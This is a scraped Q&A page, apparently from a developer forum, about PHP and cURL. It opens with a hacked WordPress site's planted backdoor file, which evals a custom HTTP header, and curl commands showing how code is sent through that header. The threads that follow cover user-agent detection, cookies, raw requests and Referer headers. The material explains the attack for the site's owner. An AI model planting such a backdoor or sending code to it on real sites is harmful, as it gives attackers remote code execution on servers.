So our website unfortunately got hacked.
They created a file in our wp-admin directory called wp-update.php containing this code:
<?php #eval($_SERVER['HTTP_4CD44849DA572F7C']); ?>
My question is how can the hacker pass in his script using $_SERVER?
Yes a hacker can send data into $_SERVER, it contains HTTP headers (cf. the documentation) with a simple curl command you can inject data.
curl -H '4CD44849DA572F7C: echo "hello from server";' http://example.com
Properties of the $_SERVER superglobal with names starting with HTTP_ are just representations of the HTTP request headers.
Since request headers are completely under the control of whoever is making the request, it is trivial to insert data there.
Any HTTP client will let the attacker specify whatever headers they like. An example in cURL's command line client would look like:
curl -H "4CD44849DA572F7C: code goes here" http://example.com/your-hacked.php
Related
I have a simple PHP script which shows some information to a user. I want to shorten this information as muss as possible if the same page is requested with cURL or saved with Wget.
I saw several similar question on Stackoverflow, but they have some extras like “I want to block cURL” or “redirect a form request if…”. The answers usually tell that it is not possible to detect a cURL request reliably, since cURL lets the user change all request parameters and pretend to be a browser. Thats okay for me, I dont want to block cURL, I want to offer an extra service for a generic cURL (and Wget) request.
If not configured otherwise cURL and Wget use a custom »User Agent« string for their requests.
For example curl/7.47.0 or Wget/1.17.1 (linux-gnu). You can test this easiliy on https://requestb.in.
Several applications may access the User Agent string in the request header. In PHP its available in the $_SERVER['HTTP_USER_AGENT'] variable.
So to detect a cURL or Wget request and offer different content, you may use
<?php
// Catch cURL/Wget requests
if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/^(curl|wget)/i', $_SERVER['HTTP_USER_AGENT'])) {
echo 'Hi curl user!';
}
else {
echo 'Hello browser user!';
}
?>
In my app I detect the cURL request and then let the process die() in the if loop. So if its just a browser, the the condition doesnt match and executes all the following PHP code.
As said before, both cURL and Wget allow the user to set an arbitrary User Agent. But for the requested service, this solution is sufficient.
I have been searching for a way, to specify the cookie data for CURL. I have found some solutions on how to save the cookies from a visited page, but that's not what I need. What I want is, to write the data for the cookie myself, so CURL uses it.
You can use curl_setopt with the CURLOPT_COOKIE constant:
<?php
// create a new cURL resource
$ch = curl_init();
// cookies to be sent
curl_setopt($ch, CURLOPT_COOKIE, "fruit=apple; colour=red");
You really should read the documentation - it's listed with exactly the keywords you'd expect and contains a lot of helpful info:
-b, --cookie
(HTTP) Pass the data to the HTTP server as a cookie. It is supposedly
the data previously received from the server in a "Set-Cookie:" line.
The data should be in the format "NAME1=VALUE1; NAME2=VALUE2".
If no '=' symbol is used in the line, it is treated as a filename to
use to read previously stored cookie lines from, which should be used
in this session if they match. Using this method also activates the
"cookie parser" which will make curl record incoming cookies too,
which may be handy if you're using this in combination with the -L,
--location option. The file format of the file to read cookies from should be plain HTTP headers or the Netscape/Mozilla cookie file
format.
NOTE that the file specified with -b, --cookie is only used as input.
No cookies will be stored in the file. To store cookies, use the -c,
--cookie-jar option or you could even save the HTTP headers to a file using -D, --dump-header!
If this option is set more than once, the last one will be the one
that's used.
cURL can use a cookie file in Netscape format. Just create such a file yourself and use as the CURLOPT_COOKIEFILE option.
I'm trying to access the raw HTTP request sent to the server in PHP.
However, all the input/output streams are not working.
I can't use php://input, and I don't want to have to "interpolate" the request from the arrays such as $_COOKIES, $_POST, etc. $_POST, $_GET and the other arrays are working fine. I'm using WAMPServer on Windows 7.
Can anyone help me fix the problem with the input/output streams or find another way to get the raw request data?
From the PHP docs:
php://input is a read-only stream that allows you to read raw data from the request body
which means you can only read body data, not headers or the raw request. If you're running under Apache, you can use the function apache_request_headers to get all the headers. To get the "request" line (the first line of the request), I suppose you need to concat the strings you can get from the $_SERVER variable.
An API I'm trying to program to requires multipart/form-data content with the HTTP GET verb. From the command line I can make this work like this:
curl -X GET -H "Accept: application/json" -F grant_type=consumer_credentials -F consumer_key=$key -F consumer_secret=$secret https://example.com/api/AccessToken
which seems like a contradiction in terms to me, but it actually works, and from what I see tracing it actually uses GET. I've tried a bunch of things to get this working using PHP's cURL library, but I just can't seem to get it to not use POST, which their servers kick out with an error.
Update to clarify the question: how can I get php's cURL library to do the same thing as that command line?
which seems like a contradiction in terms to me, but it actually
works, and from what I see tracing it actually uses GET
Not exactly. curl uses a feature of the HTTP/1.1. It inserts additional field to the header Expect: 100-continue, on which, if supported by server, server should response by HTTP/1.1 100 Continue, which tells the client to continue with its request. This interim response is used to inform the client that the initial part of the request has been received and has not yet been rejected by the server. The client SHOULD continue by sending the remainder of the request or, if the request has already been completed, ignore this response. The server MUST send a final response after the request has been completed.
Since they are insisting on HTTP GET, then just encode the form elements into query parameters on the URL you are GETing and use cURL's standard get options instead of posting multipart/formdata.
-X will only change the method keyword, everything else will remain acting the same which in this case (with the -F options) means like multipart formpost.
-F is multipart formpost and you really cannot convert that to a query part in the URL suitable for a typical GET so this was probably not a good idea to start with.
I would guess that you actually want to use -d to specify the data to post, and then you use -G to convert that data into a string that gets appended to the URL so that the operation turns out to a nice and clean GET.
is it possible to send referer information with php?
If you are, for example, fetching the contents of a URL in PHP using cURL, you can send any additional headers you want, including a referrer header.
You can not force the users browser to send a referrer header by any means, especially not with a server side language.
It's not possible to get the client browser to send a different Referer header.
However, it is theory possible for you to do this when conducting an HTTP request from PHP (either using cURL or native URL wrappers), but including a custom request header in this request.
Yes, when trying to load a page, just write the Referer header to the output stream.
Referer is a 'request' header meaning sent by the client i.e. browser. From server side i.e. using PHP you can only control 'response' headers.
If you are planning to make HTTP requests with PHP, that is different of course.
Edit: ..and requests made from the server to the other servers is a pretty common scenario actually. It seems like you should be able to set the headers you want while creating the HttpRequest:
$options = array(headers => $header_array,
httpauth => $credentials);
$r = new HttpRequest($url, HTTP_METH_POST, $options);
Or you can use the addHeaders method:
$r->addHeaders(array('Referer' => 'http://example.com'));